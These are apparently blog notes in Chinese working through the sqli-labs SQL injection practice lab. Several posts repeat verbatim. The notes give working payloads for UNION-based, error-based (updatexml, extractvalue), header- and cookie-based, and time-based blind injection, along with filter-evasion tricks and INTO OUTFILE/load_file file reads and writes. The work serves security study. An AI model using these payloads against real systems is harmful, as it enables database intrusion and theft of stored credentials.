如果直接把less-1的注入語句
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
的union select給大小寫混淆,以及將空格以/*%0a*/
替代的話,結果會怪怪的,注入語句應該要用
UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4
才會正常。
還有,如果是等等會提到的報錯注入,那麼可以用
1' || 注入語句 || '1
這樣的方式來注入。但如果是現在提的直接回顯方式,這樣的作法會出錯(為何?),必須改成
0' 注入語句 || '1
而且還要是0或者是很大的正數,才會正確顯示注入語句的內容。以
UnIoN SeLeCt 2,(SeLeCt group_concat(table_name) from information_schema.tables where table_schema='security'),4
這個語句為例。這是顯示security這個DB有哪些table,但如果0改成-1,只會顯示:
如果是其他負數,則會顯示帳密。
顯示欄位(column名稱)
UnIoN SeLeCt 1,(SeLeCt group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'),2
上圖反灰處即為塞payload的地方。
顯示帳密:
UnIoN SeLeCt 3,(SeLeCt group_concat(username) FROM users),2
UnIoN SeLeCt 3,(SeLeCt group_concat(password) FROM users),2
另外,這一題的報錯會回顯,所以用updatexml試試看:
爆出security裡的table:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
變形:(無空格)
updatexml(1,concat("!",(SeLeCT(group_concat(table_name))FROM(information_schema.tables)WHERE (table_schema='security'))),2)
爆出users table裡的column
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
變形:(無空格)
updatexml(1,concat("!",(SeLeCT(group_concat(column_name))FROM(information_schema.columns)WHERE((table_schema='security')AND(table_name='users')))),2)
爆出column內容
updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1)
變形:(無空格)
updatexml(1,concat(0x7e,(SeLeCT(group_concat(username,':',password))from(users)),1)
跟less-27相同,只是是用"
閉合,給出其中一個payload作參考:
0"UnIoN/*%0a*/SeLeCt/*%0a*/3,(database()),2||"1
上圖藍字更換成其他查詢語句。
閉合:
1' and '1' = '1成立(如下圖),這表示原始碼內查詢語句有兩種可能:
select * from table where id = '1' and '1' = '1';
select * from table where id = ('1' and '1' = '1');
所以再進一步的試試,是不是第二種:
1') and ('1') = ('1
所以閉合就是')。
接下來就是測試以往用過的注入語句:
可以從上圖反藍跟反灰看的出來這一次是union跟select一起出現就會觸發過濾,所以用雙寫繞過即可。雙寫寫法如下:
網頁會過濾掉上圖反藍,所以還剩下一對union跟select。
100')UnIon/*%0a*/sEunion/*%0a*/selectlect/*%0a*/3,(database()),2 || ('1
替換掉上圖反藍即可更換查詢語句。
其實跟less-28差不多,閉合是一樣的,過濾也差不多,可以用雙寫繞過。
]]>這一關的頁面如下:
可知是可以更新密碼的頁面。經過測試,只會更新admin的密碼,所以User Name固定為admin,要下手的是New Password。New Password如果都是輸入英文字,那麼就一定是successfully,那就試試帶特殊符號:
可以發現New Password如果設成1'
會報錯(上圖反藍),但設成1"
就不會有錯誤訊息。這時就可以在New Password填入error-based sql injection常用攻擊extractvalue。
extractvalue的原理:
1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。
而~符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database())))#&Submit=submit
直接說結論,上圖反藍處可以換成其他查詢語句。可以看到successfully上方的黃色字顯示出security,就是目前所在database的名稱security。
接下來可以參照less-1,取代藍字的部分如下:
列出security DB的table:
select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
列出user這個table的column:
select group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
列出column的內容:
要注意,如果直接使用less-1的語句select group_concat(password) FROM users
的話會出錯,會顯示You can't specify target table 'users' for update in FROM clause,這是表示「不能先select出同一表中的某些值,再update這個表(在同一語句中)。」,將select出的結果再通過中間表select一遍,就規避了錯誤。
要用
select group_concat(username,0x3a,password) from (select username,password from users) as a
可以於黃字顯示
XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
0x3a就是冒號。由於函數有顯示字數限制,所以只顯示出Dumb跟Angelina兩人的帳密。如果要再繼續看其他人的,就要再from users後面加上:
where username not in('Dumb','Angelina')
select group_concat(username,0x3a,password) from (select username,password from users where username not in('Dumb','Angelina')) as a
來去掉已經看過的這兩人,其他帳密以此類推。另外,payload的as a不可以去掉,否則會出現Every derived table must have its own alias這個錯誤。
這一題可能會顯示不出user-agent,原因應該是如下網頁所述:
Apache2.4 用 .htaccess 阻擋 User-Agent 及隱藏版本訊息 – Mr. 沙先生
所以要用舊版本的apache。可以用phpstudy2016來建置環境打less-18,環境建置可參照以下網頁:
https://blog.csdn.net/weixin_44257023/article/details/125759012
進去less-18網頁後,首先輸入admin/admin,網頁如下:
可以發現上圖藍字
GitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload List
的Generic SQL Injection Payloads的這一些:
用burp的intruder打打看。結果如下圖:
可以發現一個單引號時會引發錯誤。另外可以發現兩個單引號會閉合成功。所謂閉合成功,是指輸入的符號會直接顯示如下圖紅圈。
而且紅圈底下也不會像上上張圖顯示錯誤。
沒閉合成功的,就會顯示百分比符號:
想一想,每次發送請求時,都會給一個 UA 發給服務器,那麽在反饋頁面中,又出現了我們的 UA 信息,這說明什麽?
說明了 我們的 UA 信息,很有可能 被後台 用 INSERT INTO 插入語句,插入到數據庫中,然後再讀取出來,所以才能在頁面上顯示,也就是說,這個過程中與服務器發生了交互。如果說:後台沒有對 UA 信息進行 過濾處理 的話,那是不是能夠從 UA 這里 展開注入呢?
(這里值得注意的是,返回頁面顯示出 Referer 信息,並不一定需要有 數據庫 交互,也可以直接從 HTTP HEADER 中獲取,直接回顯出來,這樣的話沒法 從 Referer 注入)
從錯誤訊息猜測閉合(參考以下網頁)
sqli-labs less18 User-Agent - 简书
先試試用雙引號,可以發現頁面會直接顯示,不會報錯,所以大概不是閉合條件。
輸入單引號則會報錯:
輸入單引號注入時,可以發現錯誤訊息裡的IP跟admin都是被單引號括起來的。所以可以猜後端的原始碼可能包含:
('UA','IP','username')
接下來構造符合這樣原始碼的payload:
UA的值: 1',1,1=1) #,這樣就會變成('1',1,1=1) #','IP','username'),因為#是註釋符號,所以真正語句是('1',1,1=1),也就是說原本的ip被payload替換成1,username被替換成1=1:
可以發現成功執行。所以就可以繼續構造可以執行的payload。
也可以直接看看原始碼:
上圖反藍中的: '$uagent',如果插入'OR updatexml(1,concat("!",database()),2) OR',就會變成
''OR updatexml(1,concat("!",database()),2) OR'','$IP'...
也就是說uagent變成「空白」or 「注入語句」or「空白」,這樣就可以執行注入語句。注意下圖反灰就是注入語句的結果,反藍就是上面的注入語句。
'OR updatexml(1,concat("!",database()),2)--+是不行的。
updatexml版本之各式注入語句:
表名爆出:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
column名爆出:
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
爆出帳密:
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)
修改上述語句的粗體字的職,可以控制要爆出第幾號帳密。比如下圖反藍改成1,就是爆出第二個帳密--Angelina。
(TODO: 改成無空白的方式測試)
updatexml()函数介紹:
updatexml()函數與extractvalue()函數類似,都是對xml文檔進行操作。只不過updatexml()從英文字面上來看就知道是更新的意思。即updatexml()是更新文檔的函數。
updatexml(目標xml文檔,xml路徑,更新的內容)
和extractvalue()相同的是都是對第二個參數進行操作的,通過構造非法格式的查詢語句,來使其返回錯誤的信息,並將其更新出來。
而這個比extractvalue好用在於,它可以不太需要空白,可以躲避一些過濾空白的網頁。
admin/admin
注入點在referer,其他跟less-18相同。
重點在如何找到閉合方式。
把 https://github.com/payloadbox/sql-injection-payload-list 裡的 SQL Injection Auth Bypass Payloads複製下來,用intrudr打cookie一次,結果如下:
可以發現自length大於1423的都可成功顯示login,再觀察一下這些語句的共通點,大概是用'
閉合。試試改寫其中一個,在裡面插入注入語句。
試了幾個以後,發現只要有帶admin,那麼就一定會帶login name是admin。所以上圖的倒數第4句(編號46)把admin拿掉,or 1=1換成less-1用過的語句即可
uname='union select null,database(),3 --+
上一行的粗體字換成其他payload即可,分別如下:
#查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
admin/admin
看到反藍處是已被加密的uname。首先要知道加密演算法,然後把less-20的payload也用此演算法加密,即可得出答案。透過john the ripple或是別的工具可得知是base-64加密,所以
用原本的'union select null,database(),3 --+(base64加密後)會出錯:
注意上圖反藍處,似乎閉合除了單引號外還有一個括號,所以改一下:
') union select null,database(),3 --+
(base64加密: JykgdW5pb24gc2VsZWN0IG51bGwsZGF0YWJhc2UoKSwzIC0tKw==)
執行結果:
注意上圖反藍。雖然不像上一次有顯示我們的注入語句,代表應該有閉合,但卻還是無法執行。後來覺得把+號去掉,換成空格,因為+號本來就是為了url轉譯而寫的:
') union select null,database(),3 --
(base64加密: JykgdW5pb24gc2VsZWN0IG51bGwsZGF0YWJhc2UoKSwzLS0g)
可以爆出資料庫名稱如上圖藍字。
另外用比較喜歡的作法--暴力破解,不用一個一個去猜payload,但是要用excel函數建立base64編碼表。
根據
https://www.linkedin.com/pulse/excel-vba-base64-encoding-easy-daniel-ferry
Function EncodeBase64(text$)
Dim b
With CreateObject("ADODB.Stream")
.Open: .Type = 2: .Charset = "utf-8"
.WriteText text: .Position = 0: .Type = 1: b = .Read
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64": .nodeTypedValue = b
EncodeBase64 = Replace(Mid(.text, 5), vbLf, "")
End With
.Close
End With
End Function
游標移到框框右下角出現黑色十字如上圖後,左鍵連點兩下,即可把下面的欄位都用同一函數計算完成如下圖:
但要注意如果最前面有單引號,excel會自動刪除,所以要再加一個單引號。
判斷注入--是否可用intruder暴力+自動加密後注入?
]]>這一關的頁面如下:
可知是可以更新密碼的頁面。經過測試,只會更新admin的密碼,所以User Name固定為admin,要下手的是New Password。New Password如果都是輸入英文字,那麼就一定是successfully,那就試試帶特殊符號:
可以發現New Password如果設成1'
會報錯(上圖反藍),但設成1"
就不會有錯誤訊息。這時就可以在New Password填入error-based sql injection常用攻擊extractvalue。
extractvalue的原理:
1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。
SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。
而~符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database())))#&Submit=submit
直接說結論,上圖反藍處可以換成其他查詢語句。可以看到successfully上方的黃色字顯示出security,就是目前所在database的名稱security。
接下來可以參照less-1,取代藍字的部分如下:
列出security DB的table:
select group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
列出user這個table的column:
select group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
列出column的內容:
要注意,如果直接使用less-1的語句select group_concat(password) FROM users
的話會出錯,會顯示You can't specify target table 'users' for update in FROM clause,這是表示「不能先select出同一表中的某些值,再update這個表(在同一語句中)。」,將select出的結果再通過中間表select一遍,就規避了錯誤。
要用
select group_concat(username,0x3a,password) from (select username,password from users) as a
可以於黃字顯示
XPATH syntax error: '~Dumb:Dumb,Angelina:I-kill-you,D'
0x3a就是冒號。由於函數有顯示字數限制,所以只顯示出Dumb跟Angelina兩人的帳密。如果要再繼續看其他人的,就要再from users後面加上:
where username not in('Dumb','Angelina')
select group_concat(username,0x3a,password) from (select username,password from users where username not in('Dumb','Angelina')) as a
來去掉已經看過的這兩人,其他帳密以此類推。另外,payload的as a不可以去掉,否則會出現Every derived table must have its own alias這個錯誤。
這一題可能會顯示不出user-agent,原因應該是如下網頁所述:
Apache2.4 用 .htaccess 阻擋 User-Agent 及隱藏版本訊息 – Mr. 沙先生
所以要用舊版本的apache。可以用phpstudy2016來建置環境打less-18,環境建置可參照以下網頁:
https://blog.csdn.net/weixin_44257023/article/details/125759012
進去less-18網頁後,首先輸入admin/admin,網頁如下:
可以發現上圖藍字
GitHub - payloadbox/sql-injection-payload-list: 🎯 SQL Injection Payload List
的Generic SQL Injection Payloads的這一些:
用burp的intruder打打看。結果如下圖:
可以發現一個單引號時會引發錯誤。另外可以發現兩個單引號會閉合成功。所謂閉合成功,是指輸入的符號會直接顯示如下圖紅圈。
而且紅圈底下也不會像上上張圖顯示錯誤。
沒閉合成功的,就會顯示百分比符號:
想一想,每次發送請求時,都會給一個 UA 發給服務器,那麽在反饋頁面中,又出現了我們的 UA 信息,這說明什麽?
說明了 我們的 UA 信息,很有可能 被後台 用 INSERT INTO 插入語句,插入到數據庫中,然後再讀取出來,所以才能在頁面上顯示,也就是說,這個過程中與服務器發生了交互。如果說:後台沒有對 UA 信息進行 過濾處理 的話,那是不是能夠從 UA 這里 展開注入呢?
(這里值得注意的是,返回頁面顯示出 Referer 信息,並不一定需要有 數據庫 交互,也可以直接從 HTTP HEADER 中獲取,直接回顯出來,這樣的話沒法 從 Referer 注入)
從錯誤訊息猜測閉合(參考以下網頁)
sqli-labs less18 User-Agent - 简书
先試試用雙引號,可以發現頁面會直接顯示,不會報錯,所以大概不是閉合條件。
輸入單引號則會報錯:
輸入單引號注入時,可以發現錯誤訊息裡的IP跟admin都是被單引號括起來的。所以可以猜後端的原始碼可能包含:
('UA','IP','username')
接下來構造符合這樣原始碼的payload:
UA的值: 1',1,1=1) #,這樣就會變成('1',1,1=1) #','IP','username'),因為#是註釋符號,所以真正語句是('1',1,1=1),也就是說原本的ip被payload替換成1,username被替換成1=1:
可以發現成功執行。所以就可以繼續構造可以執行的payload。
也可以直接看看原始碼:
上圖反藍中的: '$uagent',如果插入'OR updatexml(1,concat("!",database()),2) OR',就會變成
''OR updatexml(1,concat("!",database()),2) OR'','$IP'...
也就是說uagent變成「空白」or 「注入語句」or「空白」,這樣就可以執行注入語句。注意下圖反灰就是注入語句的結果,反藍就是上面的注入語句。
'OR updatexml(1,concat("!",database()),2)--+是不行的。
updatexml版本之各式注入語句:
表名爆出:
updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)
column名爆出:
updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)
爆出帳密:
updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)
修改上述語句的粗體字的職,可以控制要爆出第幾號帳密。比如下圖反藍改成1,就是爆出第二個帳密--Angelina。
(TODO: 改成無空白的方式測試)
updatexml()函数介紹:
updatexml()函數與extractvalue()函數類似,都是對xml文檔進行操作。只不過updatexml()從英文字面上來看就知道是更新的意思。即updatexml()是更新文檔的函數。
updatexml(目標xml文檔,xml路徑,更新的內容)
和extractvalue()相同的是都是對第二個參數進行操作的,通過構造非法格式的查詢語句,來使其返回錯誤的信息,並將其更新出來。
而這個比extractvalue好用在於,它可以不太需要空白,可以躲避一些過濾空白的網頁。
admin/admin
注入點在referer,其他跟less-18相同。
重點在如何找到閉合方式。
把 https://github.com/payloadbox/sql-injection-payload-list 裡的 SQL Injection Auth Bypass Payloads複製下來,用intrudr打cookie一次,結果如下:
可以發現自length大於1423的都可成功顯示login,再觀察一下這些語句的共通點,大概是用'
閉合。試試改寫其中一個,在裡面插入注入語句。
試了幾個以後,發現只要有帶admin,那麼就一定會帶login name是admin。所以上圖的倒數第4句(編號46)把admin拿掉,or 1=1換成less-1用過的語句即可
uname='union select null,database(),3 --+
上一行的粗體字換成其他payload即可,分別如下:
#查security這個DB裡有哪些table:
union select null,null,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'
#查security這個DB裡的users這個table有哪些column:
union select null,null,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'
#查詢users這個table裡的username跟password:
union select null,group_concat(username),group_concat(password) FROM users
admin/admin
看到反藍處是已被加密的uname。首先要知道加密演算法,然後把less-20的payload也用此演算法加密,即可得出答案。透過john the ripple或是別的工具可得知是base-64加密,所以
用原本的'union select null,database(),3 --+(base64加密後)會出錯:
注意上圖反藍處,似乎閉合除了單引號外還有一個括號,所以改一下:
') union select null,database(),3 --+
(base64加密: JykgdW5pb24gc2VsZWN0IG51bGwsZGF0YWJhc2UoKSwzIC0tKw==)
執行結果:
注意上圖反藍。雖然不像上一次有顯示我們的注入語句,代表應該有閉合,但卻還是無法執行。後來覺得把+號去掉,換成空格,因為+號本來就是為了url轉譯而寫的:
') union select null,database(),3 --
(base64加密: JykgdW5pb24gc2VsZWN0IG51bGwsZGF0YWJhc2UoKSwzLS0g)
可以爆出資料庫名稱如上圖藍字。
另外用比較喜歡的作法--暴力破解,不用一個一個去猜payload,但是要用excel函數建立base64編碼表。
根據
https://www.linkedin.com/pulse/excel-vba-base64-encoding-easy-daniel-ferry
Function EncodeBase64(text$)
Dim b
With CreateObject("ADODB.Stream")
.Open: .Type = 2: .Charset = "utf-8"
.WriteText text: .Position = 0: .Type = 1: b = .Read
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64": .nodeTypedValue = b
EncodeBase64 = Replace(Mid(.text, 5), vbLf, "")
End With
.Close
End With
End Function
游標移到框框右下角出現黑色十字如上圖後,左鍵連點兩下,即可把下面的欄位都用同一函數計算完成如下圖:
但要注意如果最前面有單引號,excel會自動刪除,所以要再加一個單引號。
判斷注入--是否可用intruder暴力+自動加密後注入?
]]>原始網頁:
根據:
https://little-c-blog.coderbridge.io/2023/10/01/web-attack-resource/
裡面的筆記
去構造注入語句。最後試到3號成功。
在payload = 1')) and 1=1 --+時顯示正常
在payload = 1')) and 1=2 --+時顯示錯誤
代表要用'))
來閉合語句。當然,根據這網頁的性質,輸入正確跟錯誤會顯示的字句不同,可以用blind sql injection去猜出帳密,不過頁籤的標題是dump into outfile,所以可以試試用寫入檔案的方式來顯示帳密。
具體來說,是利用outfile函式來寫入檔案。不過利用outfile函式需要知道網站的路徑,也就是database儲存資料的路徑,這件事可以透過@@datadir
這個函式得知。不過現在這個網頁不會回顯,所以可以用less-2來實驗。
union select 1,@@basedir,@@datadir --+
測試目前權限:
payload: 1')) and (select count(*) from mysql.user)>0 --+
如果可以從mysql.user這個table撈出東西來,就代表現在是最高權限。主要權限table有幾個: user,db,host,table_priv,columns_priv和procs_priv,其中user table可以修改、刪除。
確認有幾欄:
payload: 1')) union select null,null,null --+
三個null可正常顯示,代表有三欄。
寫入檔案:
UNION SELECT 1,2,3 into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\uuu.txt
上圖是想寫入uuu.txt,但是失敗。黃字寫:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
secure_file_priv參數用於限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()傳到哪個指定目錄。
1.secure_file_priv為NULL時,不允許導入或導出。
2.secure_file_priv為/tmp時,只能在/tmp目錄中執行導入導出。
3.secure_file_priv沒有值時,不限制在任意目錄的導入導出。
這個值在my.ini裡面,要手動修改:
新增secure_file_priv=""這一行,如下圖反藍處:
回到PHPSTUDY的控制台,按下圖紅圈處重啟:
再執行一次,這一次黃字處還是顯示錯誤:
但實際上寫入的位址已有uuu.txt:
內容自然就是123:
接下來就可以依照less-1的語句來舉一反三,把內容寫在不同檔案上:
語句分別為:
顯示目前所在DB名稱:
UNION SELECT 1,2,database() into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u1.txt"
顯示DB有哪些table:
UNION SELECT 1,2,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security' into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u2.txt"
顯示users這table有哪些column:
UNION SELECT 1,2,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users' into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u3.txt"
顯示username跟password這兩欄的內容:
UNION SELECT 1,group_concat(username),group_concat(password) FROM users into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u4.txt"
甚至可以使用系統命令,將密碼檔內容寫入:
UNION SELECT 1,2,load_file("/etc/passwd") into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u5.txt"
根據:
裡面的筆記
去構造注入語句。最後試到1號成功。
在payload = 1' and 1=1 --+時顯示正常
在payload = 1' and 1=2 --+時顯示錯誤
之後的步驟就跟less-5一樣(參考: https://little-c-blog.coderbridge.io/2023/10/10/SQLi-lab-6/ ),就不再贅述了。
這一次的注入,不管是用什麼樣的符號閉合,比如單引號:
1' and 1=1 --+
或是1' and 1=2 --+
,
都會顯示同樣的正常頁面,所以需要使用延時盲注。這裡先介紹一下延時盲注常用的函式:
if(expr1,expr2,expr3):判断语句,如果第一个语句(expr1)正确就执行第二个语句,如果错误执行第三个语句
sleep(n):将程序挂起一段时间 n单位为秒
把sleep(n)放在if的expr2或expr3,讓我們這些攻擊者能分辨的出來注入語句到底有沒有執行。
透過以下兩個語句
1' and if(1=1, sleep(5),1) --+
1' and if(1=2, sleep(5),1) --+
第一個等5秒才重新整理,第二個立刻返回正常頁面,代表這一次是用'
閉合沒有錯。
接下來就可以參考less-5(參考: https://little-c-blog.coderbridge.io/2023/10/10/SQLi-lab-6/ ),把語句塞到expr1來判斷。以下舉例:
目前所在的資料庫名稱長度: length(database())='8' ,8可以調成其他數字測試
目前所在的資料庫的名稱: (SELECT SUBSTRING(database(), 1, 1)) = 's',粗體字可以調成其他數字或英文字。
資料庫security的第一個table名稱 (0x7365637572697479是security的ascii hex): substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'
users這個table裡的column數量 (0x7573657273是users的ascii hex):
(SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3
user這個table裡的column有哪些,名字是什麼:
substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'
(因為第一個column的第二個字是d,所以上面會中)
users這個table裡的row數量:
(SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13
users這個table裡的username這個column的內容:
substr((select username from security.users limit 0,1),1,1)='D'
三個粗體分別是第幾個username、這個username的第幾個字以及該位置的英文字。
users這個table裡的password這個column的內容:
substr((select password from security.users limit 0,1),1,1)='D'
可另外參考這篇
https://blog.csdn.net/qq_43531669/article/details/97621251
和less-9相同,只是單引號變雙引號。
原始網頁:
根據:
https://little-c-blog.coderbridge.io/2023/10/01/web-attack-resource/
裡面的筆記
去構造注入語句。最後試到3號成功。
在payload = 1')) and 1=1 --+時顯示正常
在payload = 1')) and 1=2 --+時顯示錯誤
代表要用'))
來閉合語句。當然,根據這網頁的性質,輸入正確跟錯誤會顯示的字句不同,可以用blind sql injection去猜出帳密,不過頁籤的標題是dump into outfile,所以可以試試用寫入檔案的方式來顯示帳密。
具體來說,是利用outfile函式來寫入檔案。不過利用outfile函式需要知道網站的路徑,也就是database儲存資料的路徑,這件事可以透過@@datadir
這個函式得知。不過現在這個網頁不會回顯,所以可以用less-2來實驗。
union select 1,@@basedir,@@datadir --+
測試目前權限:
payload: 1')) and (select count(*) from mysql.user)>0 --+
如果可以從mysql.user這個table撈出東西來,就代表現在是最高權限。主要權限table有幾個: user,db,host,table_priv,columns_priv和procs_priv,其中user table可以修改、刪除。
確認有幾欄:
payload: 1')) union select null,null,null --+
三個null可正常顯示,代表有三欄。
寫入檔案:
UNION SELECT 1,2,3 into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\uuu.txt
上圖是想寫入uuu.txt,但是失敗。黃字寫:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
secure_file_priv參數用於限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()傳到哪個指定目錄。
1.secure_file_priv為NULL時,不允許導入或導出。
2.secure_file_priv為/tmp時,只能在/tmp目錄中執行導入導出。
3.secure_file_priv沒有值時,不限制在任意目錄的導入導出。
這個值在my.ini裡面,要手動修改:
新增secure_file_priv=""這一行,如下圖反藍處:
回到PHPSTUDY的控制台,按下圖紅圈處重啟:
再執行一次,這一次黃字處還是顯示錯誤:
但實際上寫入的位址已有uuu.txt:
內容自然就是123:
接下來就可以依照less-1的語句來舉一反三,把內容寫在不同檔案上:
語句分別為:
顯示目前所在DB名稱:
UNION SELECT 1,2,database() into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u1.txt"
顯示DB有哪些table:
UNION SELECT 1,2,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security' into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u2.txt"
顯示users這table有哪些column:
UNION SELECT 1,2,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users' into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u3.txt"
顯示username跟password這兩欄的內容:
UNION SELECT 1,group_concat(username),group_concat(password) FROM users into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u4.txt"
甚至可以使用系統命令,將密碼檔內容寫入:
UNION SELECT 1,2,load_file("/etc/passwd") into outfile "D:\phpstudy_pro\WWW\sqli_7\Less-7\u5.txt"
根據:
裡面的筆記
去構造注入語句。最後試到1號成功。
在payload = 1' and 1=1 --+時顯示正常
在payload = 1' and 1=2 --+時顯示錯誤
之後的步驟就跟less-5一樣(參考: https://little-c-blog.coderbridge.io/2023/10/10/SQLi-lab-6/ ),就不再贅述了。
這一次的注入,不管是用什麼樣的符號閉合,比如單引號:
1' and 1=1 --+
或是1' and 1=2 --+
,
都會顯示同樣的正常頁面,所以需要使用延時盲注。這裡先介紹一下延時盲注常用的函式:
if(expr1,expr2,expr3):判断语句,如果第一个语句(expr1)正确就执行第二个语句,如果错误执行第三个语句
sleep(n):将程序挂起一段时间 n单位为秒
把sleep(n)放在if的expr2或expr3,讓我們這些攻擊者能分辨的出來注入語句到底有沒有執行。
透過以下兩個語句
1' and if(1=1, sleep(5),1) --+
1' and if(1=2, sleep(5),1) --+
第一個等5秒才重新整理,第二個立刻返回正常頁面,代表這一次是用'
閉合沒有錯。
接下來就可以參考less-5(參考: https://little-c-blog.coderbridge.io/2023/10/10/SQLi-lab-6/ ),把語句塞到expr1來判斷。以下舉例:
目前所在的資料庫名稱長度: length(database())='8' ,8可以調成其他數字測試
目前所在的資料庫的名稱: (SELECT SUBSTRING(database(), 1, 1)) = 's',粗體字可以調成其他數字或英文字。
資料庫security的第一個table名稱 (0x7365637572697479是security的ascii hex): substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'
users這個table裡的column數量 (0x7573657273是users的ascii hex):
(SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3
user這個table裡的column有哪些,名字是什麼:
substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'
(因為第一個column的第二個字是d,所以上面會中)
users這個table裡的row數量:
(SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13
users這個table裡的username這個column的內容:
substr((select username from security.users limit 0,1),1,1)='D'
三個粗體分別是第幾個username、這個username的第幾個字以及該位置的英文字。
users這個table裡的password這個column的內容:
substr((select password from security.users limit 0,1),1,1)='D'
可另外參考這篇
https://blog.csdn.net/qq_43531669/article/details/97621251
和less-9相同,只是單引號變雙引號。
一般原始碼:
$id=$_GET['id'];
$sql=“SELECT * FROM name WHERE id='$id' LIMIT 0,1”;
我們可以看到,用戶輸入的id是被帶到sql語句中進行拼接,然後執行的,而且,這個id兩邊是被’ ‘(兩個單引號)給閉合起來的,所以在這個代碼里’(單引號)就是閉合符。
由此,若是我們想進行SQL注入,那麽就可以通過給定id一些惡意的數據,讓這些惡意的數據與原SQL語句結合在一起,構成一個新的、惡意的SQL語句,讓這個惡意的SQL語句執行成功,從而達到SQL注入的目的。
MYSQL數據庫的包容性比較強,如果你輸錯了數據的類型,MYSQL數據庫會自動將其轉換成正確的數據類型,比如輸入1)、1"、1-等,只要數字後面的字符不是閉合符的,數據庫都會把你輸入的錯誤的數據轉換成正確的數據類型。
